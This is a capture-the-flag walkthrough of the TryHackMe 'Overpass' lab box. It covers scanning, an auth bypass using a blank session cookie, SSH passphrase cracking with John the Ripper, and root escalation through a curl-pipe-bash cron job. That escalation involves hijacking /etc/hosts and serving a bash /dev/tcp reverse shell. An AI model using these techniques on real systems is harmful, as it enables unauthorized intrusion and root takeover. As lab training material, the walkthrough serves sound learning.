Overpass

Room link: https://tryhackme.com/room/overpass

Scanning

I ran an nmap aggressive scan on the box using nmap -A [Remote IP].

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.61 seconds

Just to cover all my bases, I also ran a full port scan on the box to see if there were any random open ports using nmap -p- [Remote IP].

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 47.09 seconds

So, it appears that we are only working with ssh and http for services.

Enumeration

Let's use Nikto and gobuster to enumerate the website. I like using Nikto with the -h option and gobuster with the directory-list-1.0.txt file produced by SecLists (https://github.com/danielmiessler/SecLists). Depending on your computing capability, it may take a while to complete directory enumeration

The output of Nikto shows interesting locations like /admin, /downloads, and /img.

---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-3092: /admin.html: This might be interesting...
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /downloads/: This might be interesting...
+ OSVDB-3092: /img/: This might be interesting...
+ 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2022-02-17 18:52:51 (GMT-5) (596 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Gobuster produced some of the same information.

=====================================================
/downloads (Status: 301)
/img (Status: 301)
/admin (Status: 301)
/aboutus (Status: 301)
/css (Status: 301)
/**http%!A(MISSING)%!F(MISSING)%!F(MISSING)www (Status: 301)
/**http%!A(MISSING)%!F(MISSING)%!F(MISSING)ad (Status: 301)
=====================================================
2022/02/17 19:09:32 Finished
=====================================================

Initial Access

The /admin page asks for a username and password. Using the Network section in Developer Tools on the browser, I can see that when the login button is pressed a login.js script runs. I took a look at the login.js file.

async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

The most important section is the login() function, specifically the Cookies.set("SessionToken",statusOrCookie). With this information, I can set the Cookie to be blank, which bypasses the if statement (if (statusOrCookie === "Incorrect credentials")) and authenticates. I will set the Cookie in the Developer Tools console with:

Cookies.set("SessionToken","")

After setting the Cookie, I simply reload the /admin page and I will authenticate and login.

Exploitation

After authenticating, I am presented with an RSA private key on the /admin page:

I attempted to authenticate with the rsa private key (make sure to set the correct permissions with chmod 400 ssh_james) as ssh -i ssh_james james@[THM IP]. However, it requested a passphrase:

Enter passphrase for key 'ssh_james':

Therefore, I needed to use John the Ripper to crack the passphrase for me. ssh2john is a great python script within john that helps me to format the private key for use with john.

./ssh2john.py ~/TryHackMe/practice/ssh_james > /home/ajread/TryHackMe/practice/ssh_james_hash.txt

Now that it is properly formatted, I can attempt to crack the passphrase with John the Ripper. I used rockyou as the wordlist.

./john --wordlist=/home/ajread/resources/wordlists/rockyou.txt /home/ajread/TryHackMe/practice/ssh_james_hash.txt

The passphrase returned:

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
[REDACTED]          (/home/ajread/TryHackMe/practice/ssh_james)     
1g 0:00:00:00 DONE (2022-02-17 20:32) 25.00g/s 334400p/s 334400c/s 334400C/s 100588..handball
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

With the passphrase, I am able to login as user james and find flag at user.txt.

james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)

Privilege Escalation

After logging in as james, there is a txt file with a possible hint for privilege escalation:

To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

The note gave hints to a possible "automated build script" which makes me think about crontab. Looking at /etc/crontab:

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

The last line (* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash) looks interesting and should be investigated since it is run by root. To check out the build script, I used curl to grab it from http://[RemoteIP]/downloads/src/buildscript.sh.

GOOS=linux /usr/local/go/bin/go build -o ~/builds/overpassLinux ~/src/overpass.go
## GOOS=windows /usr/local/go/bin/go build -o ~/builds/overpassWindows.exe ~/src/overpass.go
## GOOS=darwin /usr/local/go/bin/go build -o ~/builds/overpassMacOS ~/src/overpass.go
## GOOS=freebsd /usr/local/go/bin/go build -o ~/builds/overpassFreeBSD ~/src/overpass.go
## GOOS=openbsd /usr/local/go/bin/go build -o ~/builds/overpassOpenBSD ~/src/overpass.go
echo "$(date -R) Builds completed" >> /root/buildStatus

Basically, the job runs and updates builds from latest code using go. If I can change the buildscript to execute a reverse shell, it will be executed by root and I will have escalated privileges. In order to do so, I noticed the overpass.thm in crontab, meaning it references the /etc/hosts file to obtain the correct IP address. Therefore, if I can change the /etc/hosts file to point at my remote machine when it calls the buildscript, the job will call my attack box IP address and run the buildscript on my machine. To ensure I can update /etc/hosts file I checked the permissions.

-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

Right now, the /etc/hosts file looks like the below.

127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

It needs to be changed to reflect my local/attack box IP.

127.0.0.1 localhost
127.0.1.1 overpass-prod
[Local IP] overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Let me create a reverse shell in bash and place it within my local machine at /downloads/src/buildscript.sh.

echo "bash -i >& /dev/tcp/[Local IP]/5555 0>&1" > buildscript.sh

After creating the buildscript, I need to start up a python3 http server on port 80 in the parent directory of /downloads/src/buildscript.shfor the remote machine to call with the crontab.

sudo python3 -m http.server 80

Now, in a different terminal, I start a netcat listener on port 5555 to receive the reverse shell.

nc -lnvp 5555

After a certain period of time, the job calls the build script, creates a reverse shell and escalates privilege!

I can see the HTTP GET request by the Overpass machine to my local machine.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.118.191 - - [18/Feb/2022 08:00:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -

In the terminal where my netcat listener is set up, I am dropped into a root shell.

root@overpass-prod:~# id
id
uid=0(root) gid=0(root) groups=0(root)

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